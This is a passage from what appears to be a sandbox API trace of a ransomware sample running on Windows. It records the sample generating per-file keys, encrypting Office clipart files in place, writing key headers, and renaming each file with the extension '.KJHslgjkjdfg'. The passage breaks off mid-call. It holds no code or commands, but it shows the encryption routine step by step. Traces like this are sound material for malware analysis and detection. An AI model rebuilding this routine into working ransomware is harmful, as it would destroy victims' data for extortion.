[0200.253] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0200.253] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0200.253] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0200.253] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.253] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x7c44, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x7c44, lpOverlapped=0x0) returned 1 [0200.256] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x7c50, dwBufLen=0x7c50 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x7c50) returned 1 [0200.256] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.256] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x7c50, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x7c50, lpOverlapped=0x0) returned 1 [0200.256] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0200.256] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x7d24, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.256] SetEndOfFile (hFile=0x130) returned 1 [0200.259] GetProcessHeap () returned 0x2ef0000 [0200.259] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0200.259] GetProcessHeap () returned 0x2ef0000 [0200.259] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0200.259] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105520.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105520.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105520.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105520.wmf.kjhslgjkjdfg")) returned 1 [0200.260] CloseHandle (hObject=0x130) returned 1 [0200.260] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e68d90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x43b4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0105526.WMF", cAlternateFileName="")) returned 1 [0200.260] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105526.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105526.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0200.261] GetProcessHeap () returned 0x2ef0000 [0200.261] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0200.261] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0200.261] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0200.261] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xc, lpOverlapped=0x0) returned 1 [0200.263] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0200.263] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0200.263] GetProcessHeap () returned 0x2ef0000 [0200.263] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0200.263] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0200.263] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0200.263] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0200.263] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0200.264] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0200.264] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0200.264] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0200.264] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0200.264] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0200.264] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0200.264] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.264] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x43b4, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x43b4, lpOverlapped=0x0) returned 1 [0200.265] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x43c0, dwBufLen=0x43c0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x43c0) returned 1 [0200.266] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.266] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x43c0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x43c0, lpOverlapped=0x0) returned 1 [0200.266] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0200.266] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x4494, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.266] SetEndOfFile (hFile=0x130) returned 1 [0200.268] GetProcessHeap () returned 0x2ef0000 [0200.268] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0200.268] GetProcessHeap () returned 0x2ef0000 [0200.268] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0200.269] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105526.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105526.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105526.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105526.wmf.kjhslgjkjdfg")) returned 1 [0200.270] CloseHandle (hObject=0x130) returned 1 [0200.270] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e68d90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1cd8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0105530.WMF", cAlternateFileName="")) returned 1 [0200.270] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105530.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105530.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0200.271] GetProcessHeap () returned 0x2ef0000 [0200.271] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0200.271] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0200.271] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0200.271] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0200.273] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0200.273] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0200.273] GetProcessHeap () returned 0x2ef0000 [0200.273] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0200.273] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0200.273] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0200.273] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0200.273] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0200.273] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0200.273] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0200.273] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0200.273] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0200.273] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0200.273] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0200.273] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.273] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1cd8, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x1cd8, lpOverlapped=0x0) returned 1 [0200.274] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1ce0, dwBufLen=0x1ce0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1ce0) returned 1 [0200.274] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.274] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1ce0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1ce0, lpOverlapped=0x0) returned 1 [0200.275] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0200.275] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1db4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.275] SetEndOfFile (hFile=0x130) returned 1 [0200.277] GetProcessHeap () returned 0x2ef0000 [0200.277] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0200.277] GetProcessHeap () returned 0x2ef0000 [0200.277] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0200.277] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105530.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105530.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105530.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105530.wmf.kjhslgjkjdfg")) returned 1 [0200.278] CloseHandle (hObject=0x130) returned 1 [0200.278] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56347c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x542c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0105588.WMF", cAlternateFileName="")) returned 1 [0200.278] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105588.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105588.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0200.279] GetProcessHeap () returned 0x2ef0000 [0200.279] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0200.279] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0200.279] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0200.279] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0200.281] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0200.281] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0200.281] GetProcessHeap () returned 0x2ef0000 [0200.281] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0200.281] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0200.281] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0200.281] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0200.281] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0200.281] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0200.281] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0200.282] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0200.282] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0200.282] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0200.282] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0200.282] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.282] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x542c, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x542c, lpOverlapped=0x0) returned 1 [0200.283] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x5430, dwBufLen=0x5430 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x5430) returned 1 [0200.283] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.283] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x5430, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x5430, lpOverlapped=0x0) returned 1 [0200.283] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0200.283] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x5504, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.283] SetEndOfFile (hFile=0x130) returned 1 [0200.286] GetProcessHeap () returned 0x2ef0000 [0200.286] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0200.286] GetProcessHeap () returned 0x2ef0000 [0200.286] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0200.286] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105588.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105588.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105588.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105588.wmf.kjhslgjkjdfg")) returned 1 [0200.287] CloseHandle (hObject=0x130) returned 1 [0200.287] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e8eef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x21e8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0105600.WMF", cAlternateFileName="")) returned 1 [0200.287] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105600.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105600.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0200.289] GetProcessHeap () returned 0x2ef0000 [0200.289] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0200.289] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0200.289] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0200.289] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0200.291] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0200.291] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0200.291] GetProcessHeap () returned 0x2ef0000 [0200.291] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0200.291] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0200.291] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0200.291] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0200.291] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0200.291] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0200.291] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0200.291] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0200.292] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0200.292] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0200.292] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0200.292] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.292] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x21e8, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x21e8, lpOverlapped=0x0) returned 1 [0200.293] CryptEncrypt (in: 